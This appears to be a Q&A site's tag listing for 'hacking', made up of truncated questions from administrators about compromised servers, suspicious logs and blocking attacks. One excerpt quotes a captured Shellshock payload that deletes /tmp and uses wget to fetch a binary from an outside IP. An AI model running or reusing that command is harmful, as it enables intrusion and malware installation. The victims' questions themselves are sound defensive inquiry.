Hacking is the violation of server or network security via exploitation of weaknesses in that security.

learn more… | top users | synonyms (1)

-1
votes
0answers
44 views

Found someone hacking in my LAMP server centos 7 using GET request with WGET

This is a bit confusing and I think I was hit by a shellshock, by the way I'm not a sysadmin and only know a little bit about handling a linux. I'm running a website (LAMP) and hosting it in Digital ...
-3
votes
0answers
16 views

How to block a router on local network hogging me with mDNSResponder [closed]

I'm on a local network, connected with LAN. There's an annoying router on the same network (which I don't use), which is making five requests per second to my computer with mDNSResponder. I know ...
-1
votes
1answer
30 views

Server 2012 R2 TCP Timestamps

We will be having some penetration testing performed shortly and looking to clean up a few things. One of these is TCP timstamps in Windows. A simiple NMAP scan shows me a guess of the TCP timestamp ...
0
votes
0answers
29 views

Suspicious SELinux Audit Log Entries PHP-FPM Write Denied - How to investigate?

I found a few /var/log/audit/audit.log entries which have me a little bit concerned. SEAlert explains them as such: SELinux is preventing /usr/sbin/php-fpm from write access on the directory ...
0
votes
0answers
8 views

Maldet HIT LIST - what now? [duplicate]

I have gotten the following result after a maldet scan, should I just delete the 3 files, or is there something else I should do? FILE HIT LIST: {HEX}gzbase64.inject.unclassed.15 : ...
4
votes
6answers
8k views

How did they hack my Wordpress sites

I have many wordpress sites hosted in a Bluehost shared hosting environment. Recently when I searched one of the sites in Google, it said "The site might be compromised". I got alerts from Google ...
-1
votes
1answer
73 views

Exchange Sever Being Hacked

We have a two server Exchange environment and they've been hacked in some way. get-queue displays tens of thousands of emails in the queues. Most of the email was being sent to yahoo.com.tw, ...
1
vote
4answers
762 views

Random IP's constantly trying to connect to SQL Server

We are building a cloud-based application that relies on a login database as well as many individual client databases. Using rackspace we have setup a server (windows server 2012) with SQL Management ...
0
votes
0answers
41 views

Weak points of ssh tunnel and x11 server, hack investigation

So, today I've been hacked. It's very puzzling to me how it was done, so I'm looking for experienced people to show weak points in design of my systems. I have two servers. One is VPS with ...
12
votes
2answers
2k views

ubuntu 10.10 sshd contains “YOU WANNA SMOKE A SPLIFF” and pot leaf ascii art. Does this mean I've been hacked?

My sshd binary on an ubuntu 10.10 machine contains the following ascii artwork: ng: %.100sToo many lines in environment file %sUser %.100s not allowed because %s exists YOU WANNA . ...
-1
votes
2answers
73 views

how to prevent non-admin user to gain admin access using overflow [closed]

There are all sort of coding best practices to prevent stack overflow attack but that is not what this question is about. What I want to know is how to prevent a legit non-admin user running a piece ...
0
votes
2answers
338 views

Stop China from connecting to my Google Compute Engine server

My company has a Google Compute Engine server hosted in North America. We get so many Chinese IP addresses sending requests to port 11 that it is costing us money for the ingress. Our firewall blocks ...
0
votes
1answer
156 views

Mysql crashed showing following errors. Is this a hack?

2015-05-17 14:50:38 1896 [Warning] Host name 'hn.kd.ny.adsl' could not be resolved: No such host is known. 2015-05-18 00:11:23 1896 [Warning] IP address '222.186.21.38' could not be resolved: The ...
-3
votes
1answer
112 views

How could this hack have been possible unless the host itself was compromised? [closed]

UPDATE II: I honestly fail to see how my question is inappropriate for this site, and no one seems to want to give me a reasonable response for that, but whatevs, I solved it. Thanks to the actual ...
-1
votes
1answer
70 views

Is it a ok wordpress file or is hack, look at this code [duplicate]

I was facing a hack My website is not hosted on a server but shared hosting, If server is hacked I cannot do anything. My Question is not about how to safeguard the server, but is the below code is ...
1
vote
1answer
74 views

Weird server behavior, fear security breach but nothing on logs

These days my hosting (a2hosting) had an issue with the node hosting my VPS and during this period my users noticed a weird behavior other than the several restarts that happened while there were ...
0
votes
0answers
24 views

Syslogd acctack

My hosting company told me, my VPS server (CentOS release 6.6) have abnormal activities issue (hacking other server) and blocked my outgoing traffic, they just give me limit info: The hacking ...
1
vote
2answers
1k views

hacking to my apache using cgi script

I newbie to web programming, so I setup an apache2 sever for my practice. It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line: 81.169.174.52 - ...
14
votes
7answers
4k views

Should I bother to block these rather lame attempts at hacking my server?

I'm running a LAMP stack, with no phpMyAdmin (yes) installed. While poking through my Apache server logs I noticed things like: 66.184.178.58 - - [16/Mar/2010:13:27:59 +0800] "GET / HTTP/1.1" 200 ...
2
votes
2answers
64 views

What are some of the hacks that DNSsec is intended to prevent

I know that the overall purpose of DNSsec is to prevent spoofing your DNS record. But what are some of the actual processes/routines that are used that DNSsec actively prevents?
0
votes
0answers
147 views

How do you get Snorby to generate an alert through a custom rule?

I am having trouble getting a rule to activate, when a syn flood attack is happening. I have tried 2 iterations of this code and I am losing my sanity over it. The scenario is that I have 3 VMware ...
3
votes
3answers
168 views

What criteria do you use to determine if someone is hammering your server?

When you go through your logs, what criteria do you use to determine if it's you (ie: you need to beef up your server/s) or them (ie: they're verging on a DoS)? How many connections/second would you ...
1
vote
5answers
2k views

Server Potentially Compromised — c99madshell [duplicate]

So, low and behold, a legacy site we've been hosting for a client had a version of FCKEditor that allowed someone to upload the dreaded c99madshell exploit onto our web host. I'm not a big security ...
0
votes
0answers
48 views

Got hacked. Want to know how and protect the others similar setup instance [duplicate]

The website got hacked, would like to know how / possible approach the hacker did and how can i protect the server. This is the information of the hack: http://www.zone-h.org/mirror/id/23884086 The ...
0
votes
0answers
22 views

User agent string starting with “rm” - hacker? [duplicate]

I noticed this in my apache log: Referrer: () { :; }; /bin/bash -c \ User Agent (I've separated the cmds by ;): rm -rf /tmp/*; echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-xtsu` ...
7
votes
2answers
2k views

Bypassing htaccess restrictions?

I found this in my apache access logs access.log:555.555.555.555 - - [05/May/2011:12:12:21 -0400] "GET /somedir/ HTTP/1.1" 403 291 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 ...
-1
votes
1answer
73 views

Understanding Postfix Mail Log (Part II)

There are several logs like below in my Postfix mail log: Mar 9 06:01:10 postfix/smtpd[23043]: initializing the server-side TLS engine Mar 9 06:01:10 postfix/smtpd[23043]: connect from ...
2
votes
2answers
541 views

Nginx 400 errors due to random encoded string starting with “\x” from random IP addresses

I assume these are some sort of bots, but would like to know what are they trying to do to my server. The logs in questions are below and the IP address has been changed from the original. ...
12
votes
10answers
892 views

What is the best way to gain access when the password is unknown?

If you were provided a computer running Windows 2000 or newer and you have no passwords, what method do you use to gain access with administrator privileges so you can use the system?
12
votes
4answers
18k views

Block range of IP Addresses

I am getting bombarded with attempted hacks from China all with similar IPs. How would I block the IP range with something like 116.10.191.* etc. I am running Ubuntu Server 13.10. The current line ...
6
votes
8answers
1k views

(200 ok) ACCEPTED - Is this a hacking attempt?

I assume this is some type of hacking attempt. I've try to Google it but all I get are sites that look like they have been exploited already. I'm seeing requests to one of my pages that looks like ...
1
vote
0answers
22 views

Website ftp details hacked by Alsancak Tim [duplicate]

My web files are hacked by Alsancak Tim. some ine is hacked ftp username and password. then going to delete all files and updated his own file. Now i am looking my website, it display a new ...
28
votes
7answers
6k views

How can I block hacking attempts targeting phpMyAdmin?

My website gets thousands of hits daily from different IPs trying to access: /php-myadmin/ /myadmin/ /mysql/ ...and thousands of other variations. None of these directories exist, I don't even have ...
2
votes
2answers
91 views

Block people searching for server admin pages

Occasionally I flip through our (apache) access log and I often come across people trying to fish for admin pages. For example, they are trying to access pages like: /wp-login.php ...
1
vote
1answer
136 views

Understanding Postfix Mail Log

Recently I checked my mail log and found a lot of messages like this (some cipher text have been truncated): Feb 23 11:57:42 postfix/smtpd[32451]: initializing the server-side TLS engine Feb 23 ...
11
votes
7answers
2k views

Hacking prevention, forensics, auditing and counter measures

Recently (but it is also a recurrent question) we saw 3 interesting threads about hacking and security: My server's been hacked EMERGENCY. Finding how a hacked server was hacked File ...
-6
votes
1answer
79 views

how does one report an RDP attack to Microsoft when it's happening in real time? [closed]

To my surprise, Security Event 10 was for 104.43.193.6 which is apparently a Microsoft ip address: http://ip2location.com/demo/104.43.193.6 =. Microsoft Corporation. Likely AFAIK some has leased ...
0
votes
3answers
373 views

DDoS Network Protection Devices

In our office we're running a Cisco ASA 5510 firewall. Is this device enough if we want to protect against DDoS attacks? What devices (like cisco guard, etc) do you recommend and what's the user ...
-3
votes
1answer
141 views

Decode array of encoded objects [duplicate]

I need some help from you.. my VPS was hacked.. I was trying to decode the files I found.. here the content of one php file, it's an array of encoded objects. Can you help me? ...
0
votes
0answers
33 views

Debian server hacked - root login on /dev/tty1 - therebel exploit [duplicate]

I have a test server running Debian Wheezy (Kernel 3.2.0-4-amd64) and OwnCloud 7. It is a virtual machine hosted on a Debian Wheezy kvm Server. It uses an own IP address configured via br0. I made ...
1
vote
0answers
146 views

Is my site getting hacked (Bluehost)?

I'm running a simple website off of Bluehost, and I needed to use custom Python scripts so I created a cgi-bin folder in my site's directory and added my cgi python files there. Everytime I tried to ...
3
votes
2answers
1k views

Continuous POST requests on wordpress login page - hacking attempt?

From today morning, I am witnessing a series of continuous POST requests hitting on one of blog running on wordpress software on my server. Few things about this pattern: These continuous requests ...
2
votes
1answer
185 views

What are some topics you'd like to see covered in an 'Introduction to Network Security' book? [closed]

I'm trying to put together a list of topics in Network Security and prioritize them accordingly. A little background on the book - we are trying to gear the text towards college students, as an ...
4
votes
1answer
133 views

MySQL Database Being Tampered Without Injection

My MySQL database has been getting hacked, and I cannot find the loophole. I have solid protection in PHP to prevent against injection and the hacker himself has communicated with me and says he is ...
7
votes
7answers
1k views

Website hacked again

Final Update: Things have been peaceful for the past few weeks and taught me much more about website security and risks. Here's my version of story - I was using an older version of wordpress and ...
25
votes
10answers
23k views

How do I know if my Linux server has been hacked?

What are the tell-tale signs that a Linux server has been hacked? Are there any tools that can generate and email an audit report on a scheduled basis?
6
votes
7answers
3k views

How Could My Website Be Hacked

I wonder how this could happen. Someone deleted my index.php files from all my domains and puts his own index.php files with the next message: Hacked by Z4i0n - Fatal Error - 2009 [Fatal Error ...
378
votes
13answers
70k views

How do I deal with a compromised server?

This is a Canonical Question about Server Security - Responding to Breach Events (Hacking) See Also: Tips for Securing a LAMP Server Reinstall after a Root Compromise? Canonical ...
0
votes
0answers
46 views

Analyze logs after hack [duplicate]

I'm really new to log analysis.. And OVH contacted my society because one of our website has been hacked during the weekend. They told us that they used Asprox. So my boss told me to look into the ...
0
votes
1answer
185 views

ubuntu sudoers file hacked?

I've 3 ubuntu 14.04 vm on a remote hosting for code repository and testing purpose. I've got them for more than 1 year now. Two of them are working properly, but on one of them I can't run root ...